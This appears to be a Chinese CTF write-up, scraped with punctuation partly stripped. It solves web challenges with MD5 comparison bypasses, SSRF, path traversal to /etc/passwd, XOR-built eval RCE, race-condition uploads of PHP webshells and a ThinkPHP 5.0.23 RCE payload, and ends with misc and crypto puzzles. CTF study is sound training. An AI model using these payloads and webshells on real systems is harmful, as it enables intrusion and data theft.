wordpress增加自定义栏目,英德网站seo,江西抚州建设网站,佛山招收网站设计web
ezezssrf
打开环境#xff0c;代码审计
看起来有点多#xff0c;要绕过五层
第一层#xff1a;存在弱比较#xff0c;使用数组或0e绕过
yunxi[]1wlgf[]2
yunxis878926199awlgfs155964671a
第二层#xff1a;存在强比较#xff0c;此处使用string限制…web
ezezssrf
打开环境代码审计
看起来有点多要绕过五层
第一层存在弱比较使用数组或0e绕过
yunxi[]1wlgf[]2
yunxis878926199awlgfs155964671a
第二层存在强比较此处使用string限制参数为字符串型不能使用数组绕过。可使用两个MD5值完全相同的字符绕过
yunxii%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2wlgff%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
第三层变量$GLG开头包含字符串 http://blog.csdn.net
if (strpos($GLG, http://blog.csdn.net) ! 0)
strpos 函数用于查找字符串 http://blog.csdn.net 在变量 $GLG 中的位置。
如果该字符串不在 $ GLG 的开头即位置为0则执行 die 函数终止脚本执行并输出提示信息。
第四层同样的使用了strpos 函数查找包含在$GLG中的变量$csdn里的中文“师姐... ...”可使用HTTP 基本身份认证绕过
GLGhttp://blog.csdn.net127.0.0.1
第五层shell_exec()函数使页面无回显使用或tee命令将想要进行的命令执行存入1.txt文件之后再访问1.txt文件即可。
cmdcat /flag | tee 1.txt
最终payload yunxis878926199awlgfs155964671ayunxii%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2wlgff%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2GLGhttp://blog.csdn.net127.0.0.1cmdcat /flag | tee 1.txt 知识点 md5弱比较强比较 md5强比较弱比较-CSDN博客 弱比较只比较值不比较类型 强比较比较值也比较类型 ab 将ab的值转换成同类型再比较值ab 先判断ab类型若相同则比较值若不相同则返回false 弱比较绕过 1.数组绕过md5不能加密数组 如 a[]1 , b[]1 , 传入数组会报错,但会继续执行并且返回结果为null。 2.0e绕过以0e开头的数会被认为是科学计数法0e任何数 在科学计数法中都是0故两数相等。 0e开头的md5和原值
QNKCDZO0e830400451993494058024219903391
2406107080e462097431906509019562988736854
s878926199a0e545993274517709034328855841020
s155964671a0e342768416822451524974117254469 强比较绕过 1.数组绕过 2.md5值完全相同的字符绕过 array1%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
array2%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 万能通式ffifdyop 绕过 or 对应的16进制276f7227 ffifdyop字符串MD5加密后会变成276f7227 36c95d99e921722cf9ed621c 字符串前几位刚好是 ‘ or ‘6 select * from admin where passwordmd5($pass,true)
输入md5(ffifdyop,true)绕过 HTTP 基本身份认证绕过SSRF CTFHUB技能树——SSRF绕过 HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。即 http://www.xxx.comwww.yyy.com形式 shell_exec()函数 shell_exec()函数会让页面无回显 linux中 “tee” 是从标准输入读取再写入标准输出和文件 在PHP中 是表示把什么写入什么文件的意思。 无回显那就把它写进一个文件然后访问这个文件即可 ?cmdls /|tee 1.txt ?cmd cat \f*** |tee 1.txt(写进1.txt文件里 windows系统命令拼接方式|直接执行后面的语句。
||如果前面的语句执行失败则执行后面的语句前面的语句只能为假。
两条命令都执行如果前面的语句为假则直接执行后面的语句前面的语句可真可假。
如果前面的语句为假则直接出错也不执行后面的语句前面的语句为真则两条命令都执行前面的语句只能为真。 小小py
此题要买flag但是钱不够 直接购买提示金额不足
发现右下角提示 *click to download our sweet images* 点击图片能够下载使用bp抓包 发现图片的下载路径。
/download?image2.jpg 下载地址可能存在任意文件下载漏洞
尝试利用路径查看文件发现不能直接回显。于是用目录穿越查看一下 /etc/passwd 回显成功
/download?image../../etc/passwd// etc/passwd 文件包含了系统上所有用户的信息 尝试访问Python环境变量得到flag
/download?image../../proc/self/environ// proc/self 其路径指向当前进程
// environ 记录当前进程的环境变量信息 学习高数
打开环境就问你喜不喜欢高数~ 提示说有1万个页面 使用bp抓包爆一下页面设置数字从1到10000找到index8887.html的特殊界面 cvFXZohgjf看起来像一个文件尝试访问 cvFXZohgjf.php代码审计 需绕过三层 $content $_GET[GS]; //将$_GET[GS]的值赋给$ contentif (strlen($content) 60) {die(不是哥们);
}
//检查$content的长度是否小于60如果大于等于60程序终止并显示不是哥们。 // 定义一个黑名单数组$blacklist
$blacklist [ , \t, \r, \n,\, , , \[, \]];
//遍历$blacklist
//使用正则表达式检查$content中是否包含黑名单中的字符如果包含程序终止并显示新号别搞。foreach ($blacklist as $blackitem) {if (preg_match(/ . $blackitem . /m, $content)) {die(新号别搞);}} // 定义一个白名单数组$whitelist包含了允许在$content中使用的数学函数名称
$whitelist [abs, acos, acosh, asin,... ...]; // 使用正则表达式从$content中提取所有函数名称存储在$used_funcs数组中。
preg_match_all(/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/, $content, $used_funcs); // 使用正则表达式从$content中提取所有函数名称存储在$used_funcs数组中。
// 遍历$used_funcs检查其中的函数名是否都在$whitelist中如果不在程序终止并显示虾啊。
foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die(虾啊);}} eval(echo .$content.;); //使用eval函数将$content中的内容安全地执行并输出 二次传参RCE
第一层有长度小于60限制可使用二次传参RCE的方式绕过
?GSeval($_GET[1]);1system(ls); 第二层但是过滤了很多字符[ ] 可用{ } 绕过
?GS$_GET{};$_GET{0}($_GET{1})0system1ls//?GS$_GET{}; 定义一个变量GS其值为一个空数组
//$_GET{0}($ _GET{1}) 尝试调用$_GET数组中的第一个元素作为函数并将第二个元素作为参数传递给它
//0system 和 1ls URL参数分别被设计为0和1索引的值(命令执行) 异或构造所需字符
第三层还要检测函数名是否都在$whitelist中
没有禁用 ^ 符号于是可以通过异或构造想要的$whitelist中的字母
// 使用脚本利用白名单里的函数生成可用字符
?php
$payload [abs, acos, acosh, asin, asinh, atan2, atan, atanh, bindec, ceil, cos, cosh, decbin , decoct, deg2rad, exp, expm1, floor, fmod, getrandmax, hexdec, hypot, is_finite, is_infinite, is_nan, lcg_value, log10, log1p, log, max, min, mt_getrandmax, mt_rand, mt_srand, octdec, pi, pow, rad2deg, rand, round, sin, sinh, sqrt, srand, tan, tanh];
for($k1;$ksizeof($payload);$k){for($i 0;$i 9; $i){for($j 0;$j 9;$j){$exp $payload[$k] ^ $i.$j;echo($payload[$k].^$i$j.$exp);echo \n;}}
}
将得到的结果保存到记事本中搜索需要构造的字符
对应字符 异或结果
_G is_nan^(6).(4)
ET tan^(1).(5)$GS_GET ———— $GS(is_nan^(6).(4)).(tan^(1).(5)) 直接将上面的3个 _GET 改为 is_nan^(6).(4)).(tan^(1).(5) 发现太长了~ 可以将 _GET 赋值给参数$pi就只用改1个_GET
正常来说可随意使用题中所给数学函数作为参数但是这里限制60的字符长度有三个字母的函数用了还是会超出 最终payload
?GS$pi(is_nan^(6).(4)).(tan^(1).(5));$pi$$pi;$pi{0}($pi{1})0system1cat /flag//$pi$$pi; 这里使用了变量变量variable variable将$pi的值即_GET作为变量名然后将_GET数组赋值给$pi。
得到flag此处环境有点小问题但是最终结果如下 你能跟上我的speed吗 随便传一个文件都是返回一张图片根据题目的speed可以猜测为文件上传的条件竞争。 于是上传一句话木马文件使用bp抓包爆破
?php $opfopen(shell.php,a);fwrite($op,?php eval($_POST[111]);?);fclose($op);echo(111) ?
抓包上传文件的请求 抓包访问上传文件的路径题目提示路径为./uploads 不需要设置参数payload type都设为null payloadspayload setting选择Continue indefinitely(无限循环抓包) 两边同时爆破将文件上传路径页面回显111的页面发送到repeater改1.php为shell.php能访问成功 连接蚁剑得到flag 文件上传之条件竞争 文件上传之条件竞争 什么是条件竞争 在上传文件源代码里面有校验上传的文件文件直接上传上传成功后才进行判断 如果文件格式符合的情况下则重命名如果文件格式不符合要求就将文件删除。 由于服务器并发处同时理多个请求假如a用户上传了一个文件b用户访问a用户的文件就会出现以下三种情况 1.访问时间点在上传文件之前没有此文件 2.访问时间在上传文件之后且服务器还未将其删除文件存在 3.访问时间点在服务器删除文件之后文件不存在 注意 使用bp payload type 选择 null payloads Payload options 选择 Continue indefinitely(无限循环抓包) 一句话木马 ?php
$opfopen(shell.php,a);fwrite($op,?php eval($_POST[111]);?);fclose($op);echo(333)
?
//fopen(...)打开或创建名为shell.php的文件并以写入模式fwrite进行操作。
//fputs(...)此函数将数据写入由fopen打开的文件。数据是作为字符串提供的。
//?php eval($_POST[111]); ?简单的php一句话木马写入shell.php文件中。
//fclose($op)关闭文件。
//输出数字111作为一种执行成功的标记。真正的hackerflag1(flag2)
打开环境是一个ThinkPHP页面 使用ThinkphpGUI工具扫描发现存在5.0.23版本的rce漏洞 根据扫描出的payload读取flag1
GET传参?scaptchatest-1
POST传参_method__constructfilter[]systemmethodgetserver[REQUEST_METHOD]cat /flag1 访问后给了一个提示“命令执行只能得到flag1真正的渗透大师热衷于getshell”说明flag2需要getshell才能得到。
选择漏洞版本后并不能直接getshell 可以进行命令执行
whoami操作系统中用于查看当前有效用户名的命令 pwd 查看当前路径
ls 查看上传路径 故可利用一句话木马进行命令执行将一句话木马文件1.php上传到/var/www/public/uploads/路径下
echo ?php eval($_POST[cmd]); ? var/www/public/uploads/1.php
// 此处上传该木马蚁剑连接不成功应该有过滤
// 木马写入错了用rm uploads/1.php 删除文件后重新写入
echo PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4 |base64 -d /var/www/public/uploads/1.php
// 使用base64编码木马后再上传
// base64 -d 是一个命令行指令用于对Base64编码的数据进行解码 使用蚁剑连接成功得到flag2 Misc
misc大杂烩
解压后打开PPT提示有6部分flag考点简单但是脑洞太大所以也说没有思路就不用硬耗时间 考点一盲水印
保存第二页的图片使用工具分析吾爱破解WaterMark下载得到flag1{hdy12- 考点二word隐藏文字
打开是一个word文档 选中全文点击字体打开“字体”对话框。在“字体”对话框中将“效果”栏下的【隐藏】取消勾选然后点击确定这样文档中隐藏的文字就全部取消隐藏状态并显示出来了。 得到flag2{1yhgzc5-
考点三base64转图片
解压后使用010editor打开发现base64编码转为图片得到一个二维码 Base64转换图片工具
在线二维码解码器 解码得到 flag3{Ypt0a2- 考点四 Deepsound音频隐写
在音频文件里面写入了其它的文件比如flag.txt也可以是图片等等此时可以用deepsound进行解密。 将考点4.wav文件放入Deepsound解密提取1.txt文件得到 flag4{ghj8- 考点五zip掩码爆破埃特巴什码解密
有一个压缩包解压时发现想要密码 根据提示可推测密码形式为 197.157.xx.xx 或 197.157.xxx.xxx 使用掩码爆破得到解压密码197.157.76.98 解压成功后得到 uozt5{7ftzp-再进行埃特巴什码解密得 flag5{7ugak- Zip密码爆破 爆破逐个尝试所有密码直到遇到正确密码 字典字典攻击的效率比爆破稍高因为字典中存储了常用的密码因此就避免了爆破时把时间浪费在无用的密码上。 掩码攻击如果已知密码的某几位如已知8位密码的第4位是Z那么可以构造XXXZXXXX进行掩码攻击掩码攻击的原理相当于构造了第4位为Z的字典攻击效率也比逐个尝试的爆破方式高。 考点六 文件16进制颠倒
使用010editor打开附件可看见一个明显的PK头但是被倒置了 使用python脚本给它倒回来使用010打开就正常了
with open(原文件路径,rb) as f: #倒置前with open(修改后文件路径,wb) as g: #倒置后g.write(f.read()[::-1]) 修改后缀为.zip解压后得到图片及 flag6: 78uiag}
最终flag Yunxi{hdy12-1yhgzc5-Ypt0a2-ghj8-7ugak-78uiag}
MISC1
下载附件后使用wireshark打开发现有一短两长的规律 不改变当前顺序发现短的最后一个字符拼接起来刚好是flag
flag{7823yed-3892hu-7euiwb-euwidbh82-7ueidw} MISC2
解压得到一张损坏的图片 使用010editor分析发现被倒转了 此处与上面不同是4位倒置 使用脚本修复图片得到一张图片
def restore_file(input_file, output_file):# 读取文件内容with open(input_file, rb) as f:data f.read()restored_data bytearray()# 每4个字节为一组for i in range(0, len(data), 4):# 取出4个字节并倒转顺序restored_data.extend(data[i:i4][::-1])# 将恢复后的数据写入输出文件with open(output_file, wb) as f:f.write(restored_data)# 输入和输出文件路径
input_file rE:\yunlabs\4-digit.png
output_file rE:\yunlabs\4-digit1.png# 调用函数进行文件恢复
restore_file(input_file, output_file) ... ...
后面再看
mics-Make Png Great Again——CVE-2023-28303(截图修复)_windows10教育版激活密钥-CSDN博客 Crypto
mmmd5
下载附件后发现有很多MD5值 最直接的方法使用在线网站一个一个解得flag
MD5免费在线解密破解_MD5在线加密-SOMD5